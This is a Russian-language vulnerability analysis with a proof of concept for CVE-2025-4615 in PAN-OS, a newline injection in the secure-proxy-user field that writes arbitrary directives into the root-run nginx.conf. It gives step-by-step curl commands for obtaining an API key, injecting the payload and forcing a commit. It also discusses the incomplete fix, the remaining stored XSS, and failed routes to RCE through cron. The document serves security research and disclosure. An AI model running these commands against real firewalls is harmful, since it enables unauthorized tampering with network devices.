
cve-2025-4615 poc и глубокое погружение
Уязвимость: Неправильная нейтрализация входных данных в веб-интерфейсе управления PAN-OS
Уведомление вендора: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (СРЕДНИЙ) — Integrity: HIGH, Availability: HIGH
CWE: CWE-83 (Неправильная нейтрализация скриптов в атрибутах веб-страницы)
CAPEC: CAPEC-165 (Манипуляция файлами)
Автор: Visa Inc.
Дата анализа: 2026-03-26
CVE-2025-4615 — это уязвимость внедрения символа новой строки в поле конфигурации secure-proxy-user в PAN-OS от Palo Alto Networks. Аутентифицированный администратор может внедрить символы новой строки (\n) в имя пользователя прокси через XML API или веб-интерфейс. При фиксации изменений (commit) это значение записывается без санитизации в /etc/nginx/nginx.conf, что приводит к выходу за пределы строки комментария и внедрению произвольных директив nginx.
Воздействие:
access_logПримечание: Исправление вендора (удаление символов новой строки) является неполным — то же поле остаётся уязвимым для межсайтового скриптинга (XSS) с сохранением, поскольку не применяется ни кодирование вывода, ни разрешённый список символов.
Поле secure-proxy-user определено в схеме PAN-OS (schema.xml) как обычная строка без какой-либо санитизации ввода:
<element name="secure-proxy-user" optional="yes" type="string"
help-string="Secure Proxy user name to use"/>
Примечание: для secure-proxy-server существует ограничение по регулярному выражению (regex="^([0-9a-zA-Z.:/_-])+$"), а для secure-proxy-user нет. Имеется ограничение длины в 31 символ, но ограничения на символы отсутствуют.
При фиксации изменений PAN-OS перегенерирует /etc/nginx/nginx.conf из шаблона (/etc/nginx/nginx.conf.tmpl). Шаблон содержит:
#pan_proxy_comment %s
Заполнитель %s заполняется функцией библиотеки libpanmp_mp.so, которая объединяет сервер прокси, имя пользователя и зашифрованный пароль в единую строку. В уязвимой версии символы новой строки в имени пользователя передаются без изменений.
Когда secure-proxy-user содержит a\naccess_log /tmp/pwn3;\n#, сгенерированный nginx.conf становится:
#pan_proxy_comment 8.8.8.9 a — Комментарий (безвреден)
access_log /tmp/pwn3; — ВНЕДРЁННАЯ ДИРЕКТИВА (выполняется nginx!)
# -AQ==encrypted_password== — Пароль закомментирован внедрённым символом #
Строка 1 — комментарий. Строка 2 — допустимая директива nginx на уровне блока http. Строка 3 нейтрализована символом # атакующего.
Главный процесс nginx работает от имени root. Директива access_log заставляет nginx открыть/создать целевой файл от имени root. Это позволяет:
В исправленной версии (11.1.13) конфигурационный писатель удаляет символы новой строки из имени пользователя прокси перед записью в nginx.conf. То же вредоносное значение даёт:
#pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==
Всё остаётся на одной строке, безопасно внутри комментария #.
Однако это исправление неполное. Оно решает только проблему внедрения символов новой строки. Поле secure-proxy-user по-прежнему принимает произвольные символы (включая ", <, >) без кодирования вывода, оставляя широко открытым вектор XSS с сохранением. См. unit-43-xss.
secure-proxy-server (необходим для появления комментария прокси)curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"
# Полезная нагрузка: "a\naccess_log /tmp/pwn3;\n#"
# Всего: 26 символов (в пределах ограничения в 31 символ)
# Внедряет: access_log /tmp/pwn3; — создаёт /tmp/pwn3 от root
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"
После завершения фиксации (~30 с):
/tmp/pwn3 создаётся с правами rootnginx -t -c /etc/nginx/nginx.conf сообщает: syntax is okНесанитизированное значение secure-proxy-user распространяется на несколько файлов:
| Файл | Воздействие |
|---|---|
/etc/nginx/nginx.conf | Критический — внедрение директив nginx |
/opt/pancfg/tmp/.tdb_conf.xml | Конфигурация БД шаблонов (внедрение XML) |
/opt/pancfg/mgmt/audit/cfg-audit.xml,v | Повреждение журнала аудита |
/opt/pancfg/mgmt/replaydb/replay.db | Повреждение базы данных воспроизведения |
| Конфигурации демонов, генерируемые XSL (authd, cord, useridd и др.) | Значение XML сохраняется с символами новой строки |
Писатели curlrc (/root/.curlrc) и wgetrc (/root/.wgetrc) удаляют символы новой строки даже в уязвимой версии. Писатель nginx.conf был единственным путём, где санитизация не выполнялась.
Обширное тестирование 11 векторов атак подтвердило, что автономное получение RCE на уровне ОС только через CVE-2025-4615 невозможно на PAN-OS 11.1.6-h7 с nginx 1.20.1. Три основных препятствия:
\x0A в nginx — предотвращает прямое внедрение символа новой строки в файлы журнала, блокируя внедрение в cron, несмотря на толерантность vixie-cron к мусорным строкам (подтверждено в лаборатории: cron выполняет допустимые строки, окружённые мусором)log_format + access_log для контроля содержимого записываемых файловФраза "выполнение произвольных команд" в уведомлении, скорее всего, относится к произвольным директивам nginx, а не к выполнению команд на уровне ОС. Это согласуется с CVSS VC:N (отсутствие воздействия на конфиденциальность) и характером исправления.
Если бы хотя бы одно из трёх препятствий отсутствовало, RCE было бы тривиально достижимо через внедрение в cron.
Анализ выполнен в изолированной лабораторной среде с PAN-OS 11.1.6-h7 (уязвимая) и PAN-OS 11.1.13 (исправленная).